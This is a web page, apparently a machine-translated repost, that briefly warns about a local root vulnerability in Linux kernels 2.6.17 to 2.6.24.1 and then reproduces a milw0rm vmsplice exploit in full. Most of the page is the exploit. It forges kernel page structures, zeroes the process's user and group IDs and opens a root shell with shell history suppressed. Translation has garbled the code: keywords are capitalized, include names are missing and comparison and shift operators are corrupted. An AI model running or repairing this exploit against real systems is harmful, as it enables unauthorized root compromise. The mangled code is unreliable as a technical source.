Privilege Escalation Vulnerability in Linux2.6

Source: Internet
Author: User
Linux general technology-Linux programming and kernel information-Privilege Escalation Vulnerability in Linux2.6. For details, refer to the following section. No matter what machines (Debian, Ubuntu), as long as the kernel version is 2.6.17 to 2.6.24.1, it seems that there will be a local administrator privilege vulnerability. If you don't trust your users (of course you shouldn't trust them), You 'd better compile a kernel without vmsplice.

Here is the millw0rm's technical verification code:
CODE :/*
* Jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas SCN co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17-2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It shoshould work well, but I don't remeber original intent of all
* The code, so I'm not 100% sure about it. You 've been warned ;)
*
*-Static-Wno-format
*/
# Define _ GNU_SOURCE
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define _ KERNEL __
# Include

# Define PIPE_BUFFERS 16
# Define PG_compound 14
# Define uint unsigned int
# Define static_inline static inline _ attribute _ (always_inline ))
# Define STACK (x) (x + sizeof (x)-40)

Struct page {
Unsigned long flags;
Int count;
Int mapcount;
Unsigned long private;
Void * mapping;
Unsigned long index;
Struct {long next, prev;} lru;
};

Void exit_code ();
Char exit_stack [1024*1024];

Void die (char * msg, int err)
{
Printf (err? "[-] % S: % s \ n": "[-] % s \ n", msg, strerror (err ));
Fflush (stdout );
Fflush (stderr );
Exit (1 );
}

# If defined (_ i386 __)

# Ifndef _ NR_vmsplice
# Define _ NR_vmsplice 316
# Endif

# Define USER_CS 0x73
# Define USER_SS 0x7b
# Define USER_FL 0x246

Static_inline
Void exit_kernel ()
{
_ Asm _ volatile __(
"Movl % 0, 0x10 (% esp );"
"Movl % 1, 0x0c (% esp );"
"Movl % 2, 0x08 (% esp );"
"Movl % 3, 0x04 (% esp );"
"Movl % 4, 0x00 (% esp );"
"Iret"
: "I" (USER_SS), "r" (STACK (exit_stack), "I" (USER_FL ),
"I" (USER_CS), "r" (exit_code)
);
}

Static_inline
Void * get_current ()
{
Unsigned long curr;
_ Asm _ volatile __(
"Movl % esp, % eax ;"
"Andl % 1, % eax ;"
"Movl (% eax), % 0"
: "= R" (curr)
: "I "(~ 8191)
);
Return (void *) curr;
}

# Elif defined (_ x86_64 __)

# Ifndef _ NR_vmsplice
# Define _ NR_vmsplice 278
# Endif

# Define USER_CS 0x23
# Define USER_SS 0x2b
# Define USER_FL 0x246

Static_inline
Void exit_kernel ()
{
_ Asm _ volatile __(
"Swapgs ;"
"Movq % 0, 0x20 (% rsp );"
"Movq % 1, 0x18 (% rsp );"
"Movq % 2, 0x10 (% rsp );"
"Movq % 3, 0x08 (% rsp );"
"Movq % 4, 0x00 (% rsp );"
"Iretq"
: "I" (USER_SS), "r" (STACK (exit_stack), "I" (USER_FL ),
"I" (USER_CS), "r" (exit_code)
);
}

Static_inline
Void * get_current ()
{
Unsigned long curr;
_ Asm _ volatile __(
"Movq % gs :( 0), % 0"
: "= R" (curr)
);
Return (void *) curr;
}

# Else
# Error "unsupported arch"
# Endif

# If defined (_ syscall4)
# Define _ NR _ vmsplice _ NR_vmsplice
_ Syscall4 (
Long, _ vmsplice,
Int, fd,
Struct iovec *, iov,
Unsigned long, nr_segs,
Unsigned int, flags)

# Else
# Define _ vmsplice (fd, io, nr, fl) syscall (_ NR_vmsplice, (fd), (io), (nr), (fl ))
# Endif

Static uint uid, gid;

Void kernel_code ()
{
Int I;
Uint * p = get_current ();

For (I = 0; I <1024-13; I ++ ){
If (p [0] = uid & p [1] = uid &&
P [2] = uid & p [3] = uid &&
P [4] = gid & p [5] = gid &&
P [6] = gid & p [7] = gid ){
P [0] = p [1] = p [2] = p [3] = 0;
P [4] = p [5] = p [6] = p [7] = 0;
P = (uint *) (char *) (p + 8) + sizeof (void *));
P [0] = p [1] = p [2] = ~ 0;
Break;
}
P ++;
}

Exit_kernel ();
}

Void exit_code ()
{
If (getuid ()! = 0)
Die ("wtf", 0 );

Printf ("[+] root \ n ");
Putenv ("HISTFILE =/dev/null ");
Execl ("/bin/bash", "bash", "-I", NULL );
Die ("/bin/bash", errno );
}

Int main (int argc, char * argv [])
{
Int pi [2];
Size_t map_size;
Char * map_addr;
Struct iovec iov;
Struct page * pages [5];

Uid = getuid ();
Gid = getgid ();
Setresuid (uid, uid, uid );
Setresgid (gid, gid, gid );

Printf ("----------------------------------- \ n ");
Printf ("Linux vmsplice Local Root Exploit \ n ");
Printf ("By qaaz \ n ");
Printf ("----------------------------------- \ n ");

If (! Uid |! Gid)
Die ("! @ # $ ", 0 );

/*****/
Pages [0] = * (void **) & (int [2]) {0, PAGE_SIZE };
Pages [1] = pages [0] + 1;

Map_size = PAGE_SIZE;
Map_addr = mmap (pages [0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 );
If (map_addr = MAP_FAILED)
Die ("mmap", errno );

Memset (map_addr, 0, map_size );
Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size );
Printf ("[+] page: 0x % lx \ n", pages [0]);
Printf ("[+] page: 0x % lx \ n", pages [1]);

Pages [0]-> flags = 1 <PG_compound;
Pages [0]-> private = (unsigned long) pages [0];
Pages [0]-> count = 1;
Pages [1]-> lru. next = (long) kernel_code;

/*****/
Pages [2] = * (void **) pages [0];
Pages [3] = pages [2] + 1;

Map_size = PAGE_SIZE;
Map_addr = mmap (pages [2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 );
If (map_addr = MAP_FAILED)
Die ("mmap", errno );

Memset (map_addr, 0, map_size );
Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size );
Printf ("[+] page: 0x % lx \ n", pages [2]);
Printf ("[+] page: 0x % lx \ n", pages [3]);

Pages [2]-> flags = 1 <PG_compound;
Pages [2]-> private = (unsigned long) pages [2];
Pages [2]-> count = 1;
Pages [3]-> lru. next = (long) kernel_code;

/*****/
Pages [4] = * (void **) & (int [2]) {PAGE_SIZE, 0 };
Map_size = PAGE_SIZE;
Map_addr = mmap (pages [4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 );
If (map_addr = MAP_FAILED)
Die ("mmap", errno );
Memset (map_addr, 0, map_size );
Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size );
Printf ("[+] page: 0x % lx \ n", pages [4]);

/*****/
Map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
Map_addr = mmap (NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,-1, 0 );
If (map_addr = MAP_FAILED)
Die ("mmap", errno );

Memset (map_addr, 0, map_size );
Printf ("[+] mmap: 0x % lx .. 0x % lx \ n", map_addr, map_addr + map_size );

/*****/
Map_size-= 2 * PAGE_SIZE;
If (munmap (map_addr + map_size, PAGE_SIZE) <0)
Die ("munmap", errno );

/*****/
If (pipe (pi) <0) die ("pipe", errno );
Close (pi [0]);

Iov. iov_base = map_addr;
Iov. iov_len = ULONG_MAX;

Signal (SIGPIPE, exit_code );
_ Vmsplice (pi [1], & iov, 1, 0 );
Die ("vmsplice", errno );
Return 0;
}

// Milw0rm.com [2008-02-09]
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.